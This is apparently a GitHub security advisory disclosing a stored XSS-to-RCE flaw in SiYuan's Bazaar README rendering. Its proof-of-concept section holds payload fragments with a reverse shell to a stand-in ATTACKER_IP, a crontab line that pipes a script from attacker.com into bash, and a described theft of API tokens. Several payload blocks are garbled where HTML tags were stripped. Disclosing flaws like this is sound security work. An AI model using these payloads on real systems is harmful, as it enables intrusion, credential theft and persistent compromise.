GitHub Advisoryadvisory · Go
GHSA-4663-4mpg-879v SiYuan has Stored XSS to RCE via Unsanitized Bazaar README Rendering
MEDIUM
Official page ↗
- Aliases
- CVE-2026-33066
- Ecosystem
- Go
- Packages
- github.com/siyuan-note/siyuan/kernel
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N
- Weaknesses
- CWE-79
- Reviewed
- 2026-03-18
Affected packages
• Go github.com/siyuan-note/siyuan/kernel: < 0.0.0-20260314111550-b382f50e1880 → fixed in 0.0.0-20260314111550-b382f50e1880
Description
Stored XSS to RCE via Unsanitized Bazaar README Rendering
Summary
SiYuan's Bazaar (community marketplace) renders package README content without HTML sanitization. The backend `renderREADME` function uses `lute.New()` without calling `SetSanitize(true)`, allowing raw HTML embedded in Markdown to pass through unmodified. The frontend then assigns the rendered HTML to `innerHTML` without any additional sanitization. A malicious package author can embed arbitrary JavaScript in their README that executes when a user clicks to view the package details. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution.
Affected Component
• README rendering (backend): `kernel/bazaar/package.go:635-645` (`renderREADME` function)
• README rendering (frontend): `app/src/config/bazaar.ts:607` (`innerHTML` assignment)
• Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
Affected Versions
• SiYuan {
mdElement.innerHTML = response.data.html; // Unsanitized HTML injected into DOM
});
```
The backend returns unsanitized HTML, and the frontend blindly assigns it to `innerHTML` without any client-side sanitization (e.g., DOMPurify).
Electron: `app/electron/main.js:422-426`
```javascript
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}
```
Any JavaScript executing in the renderer has direct access to Node.js APIs.
Proof of Concept
Step 1: Create a malicious README
Create a GitHub repository with a valid SiYuan plugin/theme/template structure. The `README.md` contains embedded HTML:
```markdown
Helpful Productivity Plugin
This plugin helps you organize your notes with smart templates and AI-powered suggestions.
Features
• Smart template insertion
• AI-powered note organization
• Cross-platform sync
Installation
Install via the SiYuan Bazaar marketplace.
License
MIT
```
The raw `` tag with `onerror` handler is valid Markdown (HTML passthrough). The Lute engine preserves it because `SetSanitize(true)` is not called. The frontend renders it via `innerHTML`, and the broken image triggers `onerror`, executing `calc.exe`.
Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar via the standard community contribution process.
Step 3: One-click RCE
When a SiYuan user browses the Bazaar, sees the package listing, and clicks on it to view the README/details, the unsanitized HTML renders in the detail panel. The `onerror` handler fires, executing arbitrary OS commands.
Escalation: Reverse shell
```markdown
Cool Theme for SiYuan
Beautiful dark theme with custom fonts.
& /dev/tcp/ATTACKER_IP/4444 0>&1\"')">
```
Escalation: Multi-stage payload via README
A more sophisticated attack can hide the payload deeper in the README to avoid casual review:
```markdown
Professional Note Templates
A comprehensive collection of note templates for professionals.
Templates Included
| Category | Count | Description |
|----------|-------|-------------|
| Business | 15 | Meeting notes, project plans |
| Academic | 12 | Research notes, citations |
| Personal | 8 | Journal, habit tracking |
Screenshots
/dev/null; echo \"@reboot curl -s https://attacker.com/stage2.sh | bash\") | crontab -');
}
">
Changelog
• v1.0.0: Initial release
```
This payload:
1. Uses `onload` instead of `onerror` (fires on successful image load from attacker's server)
2. Exfiltrates SiYuan API token, config, hostname, username, and platform info
3. Installs cross-platform persistence (Windows scheduled task / Linux crontab)
4. Is buried inside a legitimate-looking `` element that blends with real README content
Escalation: SVG-based payload (bypasses naive img filtering)
```markdown
Architecture
/tmp/pwned')">
```
Escalation: Details/summary element (interactive trigger)
```markdown
FAQ
/tmp/pwned')" open>
How do I install this plugin?
Use the SiYuan Bazaar to install.
```
The `open` attribute causes `ontoggle` to fire immediately without user interaction with the element itself.
Attack Scenario
1. Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
2. The README contains a well-crafted payload hidden within legitimate-looking content (e.g., inside a `` tag, `` block, or ``).
3. Attacker submits the package to the SiYuan Bazaar via the community contribution process.
4. A SiYuan user browses the Bazaar and clicks on the package to view its details/README.
5. The backend renders the README via `renderREADME()` without sanitization.
6. The frontend assigns the HTML to `innerHTML`.
7. The injected JavaScript executes with full Node.js access.
8. The attacker achieves RCE — reverse shell, data theft, persistence, etc.
Impact
• **Full remot…
Related
Alias · CVE (1)
- CVE-2026-33066 SiYuan is a personal knowledge management system. vulnerability
Weakness · CWE (1)
- CWE-79 Improper Neutralization of Input During Web Page Generation weakness